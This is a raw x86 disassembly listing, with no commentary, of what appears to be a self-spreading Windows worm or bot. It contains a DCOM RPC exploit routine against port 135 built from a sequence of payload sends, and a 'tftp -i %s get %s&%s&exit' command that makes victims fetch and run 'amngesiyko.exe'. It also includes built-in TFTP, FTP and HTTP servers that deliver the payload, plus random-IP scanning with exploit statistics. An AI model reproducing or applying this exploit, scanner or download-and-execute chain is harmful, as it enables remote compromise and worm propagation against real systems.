lea eax, [ebp+var_F14]
push 90h
push eax
call sub_4189A0
mov esi, offset dword_434F28
push esi
call sub_418E70
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_418A00
lea eax, [ebp+var_10]
push eax
call sub_418E70
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_418A00
mov eax, dword_435708
add esp, 2Ch
mov [ebp+var_768], eax
loc_401DEE: ; CODE XREF: sub_401B9B+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_4189A0
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401E2D
loc_401E26: ; CODE XREF: sub_401B9B+2B9j
; sub_401B9B+2E0j ...
xor al, al
jmp loc_401FD5
; ---------------------------------------------------------------------------
loc_401E2D: ; CODE XREF: sub_401B9B+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 68h
push offset dword_43533C
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401E26
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0A0h
push offset dword_4353A8
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401E26
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_44B6D8 ; recv
cmp [ebp+arg_C0], ebx
jz loc_401F43
push 68h
lea eax, [ebp+var_89B4]
push offset dword_435560
push eax
call sub_418A00
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_418A00
push 70h
lea eax, [ebp+var_68DC]
push offset dword_4355CC
push eax
call sub_418A00
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_418A00
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_435640
push eax
call sub_418A00
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_401E26
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_401F99
; ---------------------------------------------------------------------------
loc_401F43: ; CODE XREF: sub_401B9B+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_43544C
push eax
call sub_418A00
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_418A00
push 90h
lea eax, [ebp+var_245C]
push offset off_4354CC
push eax
call sub_418A00
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_401F99: ; CODE XREF: sub_401B9B+3A6j
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_401E26
push 12Ch
call ds:dword_4942D8
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401A3C
add esp, 0BCh
test al, al
setnz al
loc_401FD5: ; CODE XREF: sub_401B9B+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_401B9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401FDA proc near ; CODE XREF: .text:00401776p
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_44B700 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_44B6C0 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_44B740 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4020D3
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jz loc_4020D3
push edi
push 89h
push offset dword_4350C0
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D3
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_44B6D8 ; recv
push edi
push 0A8h
push offset dword_43514C
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D3
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_44B6D8 ; recv
push edi
push 0DEh
push offset dword_4351F8
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D3
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_44B6D8 ; recv
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_4020DD
dec eax
jz short loc_4020DA
loc_4020D3: ; CODE XREF: sub_401FDA+54j
; sub_401FDA+6Aj ...
xor eax, eax
jmp loc_4021A0
; ---------------------------------------------------------------------------
loc_4020DA: ; CODE XREF: sub_401FDA+F7j
push edi
jmp short loc_402101
; ---------------------------------------------------------------------------
loc_4020DD: ; CODE XREF: sub_401FDA+F4j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401B9B
add esp, 0C4h
test al, al
jnz short loc_402121
push 1
loc_402101: ; CODE XREF: sub_401FDA+101j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401B9B
add esp, 0C4h
test al, al
jz short loc_402128
loc_402121: ; CODE XREF: sub_401FDA+123j
mov [ebp+var_4], 1
loc_402128: ; CODE XREF: sub_401FDA+145j
push ebx
call dword_44B758 ; closesocket
cmp [ebp+var_4], 0
jz short loc_40219D
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset aSExploitingI_1 ; "[%s]: Exploiting IP: %s."
lea eax, [ebp+var_214]
push 200h
push eax
call sub_418EF0
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_214]
push eax
call sub_4035E1
mov eax, [ebp+arg_A8]
add esp, 2Ch
imul eax, 3Ch
inc dword_436160[eax]
lea eax, dword_436160[eax]
loc_40219D: ; CODE XREF: sub_401FDA+159j
push 1
pop eax
loc_4021A0: ; CODE XREF: sub_401FDA+FBj
pop edi
pop esi
pop ebx
leave
retn
sub_401FDA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 8D68h
call sub_418D40
mov eax, dword_4360DC
push ebx
push esi
push edi
mov [ebp-18h], eax
mov eax, dword_4360E0
push 1
mov [ebp-14h], eax
pop edi
lea eax, [ebp+0Ch]
push edi
push eax
call sub_4064A6
xor ebx, ebx
pop ecx
cmp eax, ebx
pop ecx
jz loc_4024AC
cmp eax, edi
jz loc_4024AC
cmp eax, 3
jnz short loc_4021F0
mov [ebp-4], ebx
jmp short loc_402204
; ---------------------------------------------------------------------------
loc_4021F0: ; CODE XREF: .text:004021E9j
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
neg edx
sbb edx, edx
inc edx
inc edx
mov [ebp-4], edx
loc_402204: ; CODE XREF: .text:004021EEj
lea eax, [ebp+0Ch]
push eax
push offset aSIpc_0 ; "\\\\%s\\ipc$"
lea eax, [ebp-60h]
push 28h
push eax
call sub_418EF0
add esp, 10h
xor esi, esi
lea eax, [ebp-127h]
loc_402223: ; CODE XREF: .text:00402232j
mov cl, [ebp+esi-60h]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_402223
push 60h
lea eax, [ebp-0D8h]
push offset dword_435C38
push eax
call sub_418A00
lea eax, [ebp-60h]
push eax
call sub_418E70
shl eax, 1
push eax
lea eax, [ebp-128h]
push eax
lea eax, [ebp-0A8h]
push eax
call sub_418A00
add esp, 1Ch
lea eax, [ebp-60h]
push 9
push (offset aC_3+3)
push eax
call sub_418E70
pop ecx
lea eax, [ebp+eax*2-0A9h]
push eax
call sub_418A00
lea eax, [ebp-60h]
push eax
call sub_418E70
add al, 1Ah
push edi
shl al, 1
mov [ebp-5], al
lea eax, [ebp-5]
push eax
lea eax, [ebp-0D5h]
push eax
call sub_418A00
lea eax, [ebp-60h]
push eax
call sub_418E70
shl al, 1
add al, 9
push edi
mov [ebp-6], al
lea eax, [ebp-6]
push eax
lea eax, [ebp-0ABh]
push eax
call sub_418A00
add esp, 2Ch
push 135h
call dword_44B6C0 ; htons
xor eax, 9999h
push 2
mov [ebp-10h], eax
lea eax, [ebp-10h]
push eax
push offset dword_435938
call sub_418A00
add esp, 0Ch
cmp [ebp-4], edi
jz short loc_402360
cmp dword ptr [ebp-4], 2
jz short loc_402360
push 7D0h
lea eax, [ebp-12C8h]
push 90h
push eax
call sub_4189A0
mov esi, offset dword_435888
push esi
call sub_418E70
push eax
lea eax, [ebp-1228h]
push esi
push eax
call sub_418A00
lea eax, [ebp-18h]
push eax
call sub_418E70
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-0B0Ch]
push eax
call sub_418A00
mov eax, [ebp-4]
add esp, 2Ch
imul eax, 3Ch
mov eax, dword_436060[eax]
mov [ebp-0B1Ch], eax
jmp loc_402439
; ---------------------------------------------------------------------------
loc_402360: ; CODE XREF: .text:004022F5j
; .text:004022FBj
mov edi, 0DACh
lea eax, [ebp-2078h]
push edi
push 90h
push eax
call sub_4189A0
mov eax, [ebp-4]
push 4
imul eax, 3Ch
lea eax, dword_436060[eax]
mov [ebp-0Ch], eax
push eax
lea eax, [ebp-1894h]
push eax
call sub_418A00
mov esi, offset dword_435888
push esi
call sub_418E70
push eax
lea eax, [ebp-1884h]
push esi
push eax
call sub_418A00
push 4
lea eax, [ebp-1560h]
push offset dword_4360F0
push eax
call sub_418A00
push 4
lea eax, [ebp-155Ch]
push dword ptr [ebp-0Ch]
push eax
call sub_418A00
add esp, 40h
push esi
call sub_418E70
push eax
lea eax, [ebp-1550h]
push esi
push eax
call sub_418A00
add esp, 10h
xor esi, esi
lea eax, [ebp-4BB7h]
loc_4023F4: ; CODE XREF: .text:00402405j
mov cl, [ebp+esi-2078h]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_4023F4
mov esi, 1C52h
lea eax, [ebp-8D68h]
push esi
push 31h
push eax
mov [ebp-3060h], bl
mov [ebp-305Fh], bl
call sub_4189A0
push esi
lea eax, [ebp-6C90h]
push 31h
push eax
call sub_4189A0
add esp, 18h
loc_402439: ; CODE XREF: .text:0040235Bj
push 0E29h
lea eax, [ebp-305Ch]
push 31h
push eax
call sub_4189A0
add esp, 0Ch
push ebx
push 1
push 2
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4024AC
push 10h
lea eax, [ebp-28h]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov word ptr [ebp-28h], 2
push dword ptr [ebp+0A8h]
call dword_44B6C0 ; htons
mov [ebp-26h], ax
lea eax, [ebp+0Ch]
push eax
call dword_44B700 ; inet_addr
mov [ebp-24h], eax
lea eax, [ebp-28h]
push 10h
push eax
push edi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4024B3
loc_4024A5: ; CODE XREF: .text:004024C8j
; .text:004024F4j ...
push edi
loc_4024A6: ; CODE XREF: .text:00402747j
; .text:004027C6j
call dword_44B758 ; closesocket
loc_4024AC: ; CODE XREF: .text:004021D8j
; .text:004021E0j ...
xor eax, eax
loc_4024AE: ; CODE XREF: .text:0040284Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4024B3: ; CODE XREF: .text:004024A3j
push ebx
push 89h
push offset dword_435A20
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4024A5
mov esi, 640h
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0A8h
push offset dword_435AAC
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0DEh
push offset dword_435B58
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
movsx eax, byte ptr [ebp-5]
add eax, 4
push ebx
push eax
lea eax, [ebp-0D8h]
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 68h
push offset dword_435C9C
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0A0h
push offset dword_435D08
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
cmp dword ptr [ebp-4], 1
jz short loc_402617
cmp dword ptr [ebp-4], 2
jz short loc_402617
push 7Ch
lea eax, [ebp-305Ch]
push offset dword_435DAC
push eax
call sub_418A00
lea eax, [ebp-12C8h]
push 7D0h
push eax
lea eax, [ebp-2FE0h]
push eax
call sub_418A00
push 90h
lea eax, [ebp-2810h]
push offset off_435E2C
push eax
call sub_418A00
add esp, 24h
mov [ebp-2365h], bl
lea eax, [ebp-305Ch]
push ebx
push 0CF8h
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_402617: ; CODE XREF: .text:004025B4j
; .text:004025BAj
push 68h
lea eax, [ebp-8D68h]
push offset dword_435EC0
push eax
call sub_418A00
lea eax, [ebp-4BB8h]
push 1B5Ah
push eax
lea eax, [ebp-8D00h]
push eax
call sub_418A00
push 70h
lea eax, [ebp-6C90h]
push offset dword_435F2C
push eax
call sub_418A00
lea eax, [ebp-3B24h]
push 0A5Eh
push eax
lea eax, [ebp-6C20h]
push eax
call sub_418A00
push 84h
lea eax, [ebp-615Ch]
push offset dword_435FA0
push eax
call sub_418A00
add esp, 3Ch
lea eax, [ebp-8D68h]
push ebx
push 10FCh
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push 0FDCh
lea eax, [ebp-6C90h]
loc_4026BF: ; CODE XREF: .text:00402612j
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz loc_4024A5
push ebx
lea eax, [ebp-0AF8h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push 6
push 1
push 2
call dword_44B740 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_4024A5
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov word ptr [ebp-38h], 2
push 135h
call dword_44B6C0 ; htons
mov [ebp-36h], ax
lea eax, [ebp+0Ch]
push eax
call dword_44B700 ; inet_addr
mov [ebp-34h], eax
lea eax, [ebp-38h]
push 10h
push eax
push dword ptr [ebp-4]
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40274C
push edi
call dword_44B758 ; closesocket
push dword ptr [ebp-4]
jmp loc_4024A6
; ---------------------------------------------------------------------------
loc_40274C: ; CODE XREF: .text:0040273Bj
push ebx
push esi
mov esi, [ebp-4]
lea eax, [ebp-0AF8h]
push eax
push esi
call dword_44B6D8 ; recv
test eax, eax
jle loc_4024AC
push 1F4h
call ds:dword_4942D8
mov eax, offset aAmngesiyko_exe ; "amngesiyko.exe"
push eax
push eax
push dword ptr [ebp+8]
call sub_40AFEC
pop ecx
push eax
push offset aTftpISGetSSExi ; "tftp -i %s get %s&%s&exit\n"
lea eax, [ebp-2B8h]
push 190h
push eax
call sub_418EF0
add esp, 18h
lea eax, [ebp-2B8h]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp-2B8h]
push eax
push esi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_4027CB
call dword_44B758 ; closesocket
push esi
jmp loc_4024A6
; ---------------------------------------------------------------------------
loc_4027CB: ; CODE XREF: .text:004027BDj
call dword_44B758 ; closesocket
push esi
call dword_44B758 ; closesocket
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset aSTryingSploitI ; "[%s]: Trying Sploit IP: %s."
lea eax, [ebp-4B8h]
push 200h
push eax
call sub_418EF0
add esp, 14h
cmp [ebp+0BCh], ebx
jnz short loc_402829
push ebx
lea eax, [ebp-4B8h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40842D
add esp, 14h
loc_402829: ; CODE XREF: .text:0040280Aj
lea eax, [ebp-4B8h]
push eax
call sub_4035E1
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_436160[eax]
push 1
lea eax, dword_436160[eax]
pop eax
jmp loc_4024AE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402853 proc near ; CODE XREF: sub_40C50A+5D5Dp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
push eax
xor ebx, ebx
call sub_418D70
cmp dword_436158, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4028C1
push esi
mov esi, offset dword_436160
loc_402886: ; CODE XREF: sub_402853+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_418D70
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_419040
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_402886
pop esi
loc_4028C1: ; CODE XREF: sub_402853+2Bj
push dword_491BE8
call sub_415273
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_418D70
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_419040
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_200]
push eax
call sub_4035E1
add esp, 38h
pop edi
pop ebx
leave
retn
sub_402853 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40291D proc near ; CODE XREF: sub_40C50A+56BCp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_416433
test eax, eax
pop ecx
jle short loc_402959
mov eax, [ebp+arg_C]
push dword_4443B8[eax*8]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
push eax
call sub_418D70
add esp, 0Ch
jmp short loc_40296C
; ---------------------------------------------------------------------------
loc_402959: ; CODE XREF: sub_40291D+13j
lea eax, [ebp+var_200]
push offset aScanScanNotAct ; "[SCAN]: Scan not active."
push eax
call sub_418D70
pop ecx
pop ecx
loc_40296C: ; CODE XREF: sub_40291D+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_200]
push eax
call sub_4035E1
add esp, 18h
leave
retn
sub_40291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402994 proc near ; CODE XREF: sub_40328A+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_402D24
imul eax, 3Ch
xor ebx, ebx
cmp dword_436164[eax], ebx
jz loc_402C05
push 4
call sub_416433
test eax, eax
pop ecx
jnz loc_402D24
mov eax, dword_43E1A0
push edi
mov edi, offset dword_445374
push 104h
push edi
push ebx
mov dword_445584, eax
mov dword_445580, ebx
call ds:dword_4942F8
push 103h
mov esi, offset dword_445478
push offset aAmngesiyko_exe ; "amngesiyko.exe"
push esi
call sub_4191A0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_445370, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_445608, eax
jnz short loc_402A47
lea eax, [ebp+arg_10]
push eax
push offset dword_445588
call sub_4191A0
add esp, 0Ch
mov dword_44560C, 1
jmp short loc_402A61
; ---------------------------------------------------------------------------
loc_402A47: ; CODE XREF: sub_402994+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_445588
call sub_4191A0
add esp, 0Ch
mov dword_44560C, ebx
loc_402A61: ; CODE XREF: sub_402994+B1j
push esi
push edi
push dword_445584
lea eax, [ebp+var_204]
push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_4161EB
add esp, 20h
mov dword_44557C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_445370
push offset sub_415CF4
push ebx
push ebx
call ds:dword_4942F4
mov ecx, dword_44557C
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_402AD0
loc_402ABE: ; CODE XREF: sub_402994+13Aj
cmp dword_445610, ebx
jnz short loc_402AEB
push 32h
call ds:dword_4942D8
jmp short loc_402ABE
; ---------------------------------------------------------------------------
loc_402AD0: ; CODE XREF: sub_402994+128j
call ds:dword_4942F0
push eax
lea eax, [ebp+var_204]
push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
push eax
call sub_418D70
add esp, 0Ch
loc_402AEB: ; CODE XREF: sub_402994+130j
lea eax, [ebp+var_204]
push eax
call sub_4035E1
mov edi, offset dword_4459CC
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_445BD8, ebx
call ds:dword_4942F8
push 103h
mov esi, offset dword_445AD0
push offset aAmngesiyko_exe ; "amngesiyko.exe"
push esi
call sub_4191A0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4459C8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_445C60, eax
jnz short loc_402B66
lea eax, [ebp+arg_10]
push eax
push offset dword_445BE0
call sub_4191A0
add esp, 0Ch
mov dword_445C64, 1
jmp short loc_402B80
; ---------------------------------------------------------------------------
loc_402B66: ; CODE XREF: sub_402994+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_445BE0
call sub_4191A0
add esp, 0Ch
mov dword_445C64, ebx
loc_402B80: ; CODE XREF: sub_402994+1D0j
push esi
push edi
push dword_445BDC
lea eax, [ebp+var_204]
push offset aFtpServerStart ; "[FTP]: Server started on Port: %d, File"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_4161EB
add esp, 20h
mov dword_445BD4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4459C8
push offset sub_406614
push ebx
push ebx
call ds:dword_4942F4
mov ecx, dword_445BD4
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_402BF4
loc_402BDE: ; CODE XREF: sub_402994+25Ej
cmp dword_445C68, ebx
jnz loc_402D17
push 32h
call ds:dword_4942D8
jmp short loc_402BDE
; ---------------------------------------------------------------------------
loc_402BF4: ; CODE XREF: sub_402994+248j
call ds:dword_4942F0
push eax
push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"...
jmp loc_402D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_402994+25j
cmp dword_436168[eax], ebx
jz loc_402D24
push 3
call sub_416433
test eax, eax
pop ecx
jnz loc_402D24
mov esi, offset dword_4458A4
push 104h
push esi
push ebx
call ds:dword_4942F8
push 5Ch
push esi
call sub_419170
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402C43
mov [eax], bl
loc_402C43: ; CODE XREF: sub_402994+2ABj
mov eax, dword_43E1A4
mov dword_4459BC, ebx
mov dword_4459A8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_44561C
call sub_418D70
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_445618, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4459A8
mov dword_4459B4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4459B8, ecx
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_204]
push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_4161EB
add esp, 20h
mov dword_4459B0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_445618
push offset sub_406D34
push ebx
push ebx
call ds:dword_4942F4
mov ecx, dword_4459B0
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_402CFC
loc_402CEA: ; CODE XREF: sub_402994+366j
cmp dword_4459C4, ebx
jnz short loc_402D17
push 32h
call ds:dword_4942D8
jmp short loc_402CEA
; ---------------------------------------------------------------------------
loc_402CFC: ; CODE XREF: sub_402994+354j
call ds:dword_4942F0
push eax
push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...
loc_402D08: ; CODE XREF: sub_402994+26Cj
lea eax, [ebp+var_204]
push eax
call sub_418D70
add esp, 0Ch
loc_402D17: ; CODE XREF: sub_402994+250j
; sub_402994+35Cj
lea eax, [ebp+var_204]
push eax
call sub_4035E1
pop ecx
loc_402D24: ; CODE XREF: sub_402994+14j
; sub_402994+35j ...
pop esi
pop ebx
leave
retn
sub_402994 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D28 proc near ; CODE XREF: sub_403076:loc_4030E7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4443B8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_418A00
add esp, 0Ch
push [ebp+arg_0]
call dword_44B5F4 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_44B6BC ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_418A00
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_402D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D70 proc near ; CODE XREF: sub_403076+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_418E70
cmp eax, 0Fh
pop ecx
jbe short loc_402D98
xor eax, eax
jmp short loc_402E09
; ---------------------------------------------------------------------------
loc_402D98: ; CODE XREF: sub_402D70+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_4192A0
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_402DC5
call sub_419000
mov [ebp+var_C], eax
loc_402DC5: ; CODE XREF: sub_402D70+4Bj
cmp [ebp+var_8], esi
jnz short loc_402DD2
call sub_419000
mov [ebp+var_8], eax
loc_402DD2: ; CODE XREF: sub_402D70+58j
cmp [ebp+var_4], esi
jnz short loc_402DDF
call sub_419000
mov [ebp+var_4], eax
loc_402DDF: ; CODE XREF: sub_402D70+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_402DEB
call sub_419000
loc_402DEB: ; CODE XREF: sub_402D70+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
